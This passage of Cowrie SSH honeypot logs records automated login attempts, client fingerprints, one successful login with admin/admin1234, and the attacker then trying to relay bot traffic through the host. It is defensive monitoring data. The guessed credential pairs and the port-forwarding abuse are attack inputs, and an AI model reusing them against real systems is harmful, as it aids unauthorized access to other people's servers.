m@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:36.289919Z","src_ip":"182.93.50.90","session":"c6ff6fd92010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste2025","message":"login attempt [teste/teste2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:37.212668Z","src_ip":"182.93.50.90","session":"c6ff6fd92010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"ts","message":"login attempt [teamspeak/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:38.386073Z","src_ip":"91.92.40.36","session":"9c6752090aea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:38.434209Z","src_ip":"182.93.50.90","session":"c6ff6fd92010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39808,"dst_ip":"159.203.135.109","dst_port":22,"session":"e414e34a4668","protocol":"ssh","message":"New connection: 91.92.40.36:39808 (159.203.135.109:22) [session: e414e34a4668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:40.405514Z"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:40.409956Z","src_ip":"91.92.40.36","session":"9c6752090aea","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:41.602180Z","src_ip":"91.92.40.36","session":"e414e34a4668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:41.606042Z","src_ip":"91.92.40.36","session":"e414e34a4668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pub","password":"pub","message":"login attempt [pub/pub] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:45.492796Z","src_ip":"91.92.40.36","session":"e414e34a4668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:47.296801Z","src_ip":"91.92.40.36","session":"e414e34a4668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26160,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b450407f63a","protocol":"ssh","message":"New connection: 91.92.40.36:26160 (159.203.135.109:22) [session: 8b450407f63a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:49.906230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:50.085585Z","src_ip":"91.92.40.36","session":"8b450407f63a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:50.088840Z","src_ip":"91.92.40.36","session":"8b450407f63a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":50179,"dst_ip":"10.17.0.5","dst_port":22,"session":"707cfabfb0fc","protocol":"ssh","message":"New connection: 113.164.152.20:50179 (10.17.0.5:22) [session: 707cfabfb0fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:51.172137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:51.175909Z","src_ip":"113.164.152.20","session":"707cfabfb0fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:51.450345Z","src_ip":"113.164.152.20","session":"707cfabfb0fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"a12345","message":"login attempt [web/a12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:51.761464Z","src_ip":"91.92.40.36","session":"8b450407f63a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:52.583349Z","src_ip":"113.164.152.20","session":"707cfabfb0fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:52.969747Z","session":"707cfabfb0fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:53.068553Z","session":"707cfabfb0fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:53.237270Z","src_ip":"113.164.152.20","session":"707cfabfb0fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1210\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; SM-T976B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WURlMTFPdDlLKm1GeXtILw%3D%3DAsAwCXrsbquTPfl2PRMa1r%2B%2FLeol7ZJ7meULHLnZourJrjAM%2Bs6bKpIVp0R%2FGa9qWNBmK9mAiysME3kADg%2FqbliUmHmbpfDBDtva%2FNcw%2FQjFQeA52TanM1fZL%2BhD0f40Wjc%2FOGK3VTPsgmA%2FE5KUOL5uMnje%2BS6Mo%2BJ15lGFaHeUVBSWbgPLugd1Xa7lo7hVvt6TE9N%2BQEcyK2r3AbQGz6CJEiY%2FZql8Hn90bd3ThAjfszSAH7KpVeMfq1hYbBD2moIjPO7muIdIH%2FUFiUj%2BxeHSkVeFv9%2BSMIOxIgT9iZ0ASOusS4%2F7kPpAZKhJYhMGZ1qo%2FZXruVAm5Cj%2BwtFF%2BFqDJ4Hum9wLFRGCNz6wuMEdHU5MB4bmaTSw5aIluUwjk6Ga70R%2FNIlljyP6co%2BuCPn%2Bl330wv3sQBZRocqYXA9UYF36I%2B9H2%2FNfpU9VGEGd4MUfoFqi%2F0zJ5o%2FoonJqVPmpJwRmablUZuwsR7WbT3etdNZ8ZZIDMqPEfDzDxUyKQvxY1q3UUHef1MmbqBJr1tMk5WpGn%2FHgayCu%2Fdu9K%2BA8XoB3uGPYCpXfK2CudSOjoBz1Vsz6WzZmGZBXsOLhtq%2BMv5Dqia2eZwdFN1sgU10nodEfYJT0HfO0q9eUqwe4UXwLwLveE2hF5WOIvj9eJHo4zolF0LENDOjVJfUHPGe9SZSjUir7PIvzBcLk7ncWQkceEEP%2B9nfP%2BTypYZPuv8bNjLz%2Be5A%2Bs4ncKbDOTI9upTG7ikxti5pAr7q9UtnffExQLn%2BxIQks9TJ22lmZcNelaXTcWKKw3lUjNfGWgGX0FHce4tPv2%2BCWHNryEKtdG1WQ4C97FLXzMUUfqsckUwcWt%2FkXdXCuIxBEqt%2FCe1Ig0qOYRCQ2NKAEI5kf4DEHwqJqCLn1UxR0Cw5hawt0OXlrPPrYy5C3ELF3uRtnjUuw2mm0zn4Ge6D4cuoCjtwT1W5g1sPU9eia1859YJaFaGawCW1YBf1p6pRMcKw7rpTU%2Bg%2BOUsZD4smj0RiWK9D9cWNsC%2Fgdc2j%2BXG47pbnRGLpg5b80fhAlFUn8kIr73n%2Fa7Nrd8IKm%2B9KDF49rXUGx'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1210\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; SM-T976B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WURlMTFPdDlLKm1GeXtILw%3D%3DAsAwCXrsbquTPfl2PRMa1r%2B%2FLeol7ZJ7meULHLnZourJrjAM%2Bs6bKpIVp0R%2FGa9qWNBmK9mAiysME3kADg%2FqbliUmHmbpfDBDtva%2FNcw%2FQjFQeA52TanM1fZL%2BhD0f40Wjc%2FOGK3VTPsgmA%2FE5KUOL5uMnje%2BS6Mo%2BJ15lGFaHeUVBSWbgPLugd1Xa7lo7hVvt6TE9N%2BQEcyK2r3AbQGz6CJEiY%2FZql8Hn90bd3ThAjfszSAH7KpVeMfq1hYbBD2moIjPO7muIdIH%2FUFiUj%2BxeHSkVeFv9%2BSMIOxIgT9iZ0ASOusS4%2F7kPpAZKhJYhMGZ1qo%2FZXruVAm5Cj%2BwtFF%2BFqDJ4Hum9wLFRGCNz6wuMEdHU5MB4bmaTSw5aIluUwjk6Ga70R%2FNIlljyP6co%2BuCPn%2Bl330wv3sQBZRocqYXA9UYF36I%2B9H2%2FNfpU9VGEGd4MUfoFqi%2F0zJ5o%2FoonJqVPmpJwRmablUZuwsR7WbT3etdNZ8ZZIDMqPEfDzDxUyKQvxY1q3UUHef1MmbqBJr1tMk5WpGn%2FHgayCu%2Fdu9K%2BA8XoB3uGPYCpXfK2CudSOjoBz1Vsz6WzZmGZBXsOLhtq%2BMv5Dqia2eZwdFN1sgU10nodEfYJT0HfO0q9eUqwe4UXwLwLveE2hF5WOIvj9eJHo4zolF0LENDOjVJfUHPGe9SZSjUir7PIvzBcLk7ncWQkceEEP%2B9nfP%2BTypYZPuv8bNjLz%2Be5A%2Bs4ncKbDOTI9upTG7ikxti5pAr7q9UtnffExQLn%2BxIQks9TJ22lmZcNelaXTcWKKw3lUjNfGWgGX0FHce4tPv2%2BCWHNryEKtdG1WQ4C97FLXzMUUfqsckUwcWt%2FkXdXCuIxBEqt%2FCe1Ig0qOYRCQ2NKAEI5kf4DEHwqJqCLn1UxR0Cw5hawt0OXlrPPrYy5C3ELF3uRtnjUuw2mm0zn4Ge6D4cuoCjtwT1W5g1sPU9eia1859YJaFaGawCW1YBf1p6pRMcKw7rpTU%2Bg%2BOUsZD4smj0RiWK9D9cWNsC%2Fgdc2j%2BXG47pbnRGLpg5b80fhAlFUn8kIr73n%2Fa7Nrd8IKm%2B9KDF49rXUGx'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:53.240286Z","src_ip":"113.164.152.20","session":"707cfabfb0fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:53.498437Z","src_ip":"113.164.152.20","session":"707cfabfb0fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037\\xe4-7\\xbd\\xa0\\xbc\\xde\\xa4\\xd8\\x10\\xe3Q\\xa8\\xddg\\xacO\\xce\\xed1_BK\\x19\\x9a\\xa7w\\x82\\xa5C\\xed _\\xbf\\x11^\\x81M;^\\x8d\\xea\\x1a\\xcf\\x06\\xc3\\x0f\\xe9\\xc5\\xf7\\xe9e\\xc7\\xe5\\xa6\\xf0Ex\\xee\\xc8\\x1b~\\xed\\x83\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1c\\xc9\\x12Ad\\xedY\\xd4\\xfa\\xce\\xdc0E/\\xb3\\x7f\\x8a\\x89\\xbd4\\x1c~\\xb2\\x82\\xd2w\\xe9yV\\xec\\xfcN\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037\\xe4-7\\xbd\\xa0\\xbc\\xde\\xa4\\xd8\\x10\\xe3Q\\xa8\\xddg\\xacO\\xce\\xed1_BK\\x19\\x9a\\xa7w\\x82\\xa5C\\xed _\\xbf\\x11^\\x81M;^\\x8d\\xea\\x1a\\xcf\\x06\\xc3\\x0f\\xe9\\xc5\\xf7\\xe9e\\xc7\\xe5\\xa6\\xf0Ex\\xee\\xc8\\x1b~\\xed\\x83\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1c\\xc9\\x12Ad\\xedY\\xd4\\xfa\\xce\\xdc0E/\\xb3\\x7f\\x8a\\x89\\xbd4\\x1c~\\xb2\\x82\\xd2w\\xe9yV\\xec\\xfcN\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:53.502177Z","src_ip":"113.164.152.20","session":"707cfabfb0fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:53.539608Z","src_ip":"91.92.40.36","session":"8b450407f63a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:54.023268Z","session":"707cfabfb0fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:54.290446Z","src_ip":"113.164.152.20","session":"707cfabfb0fc","protocol":"ssh"}
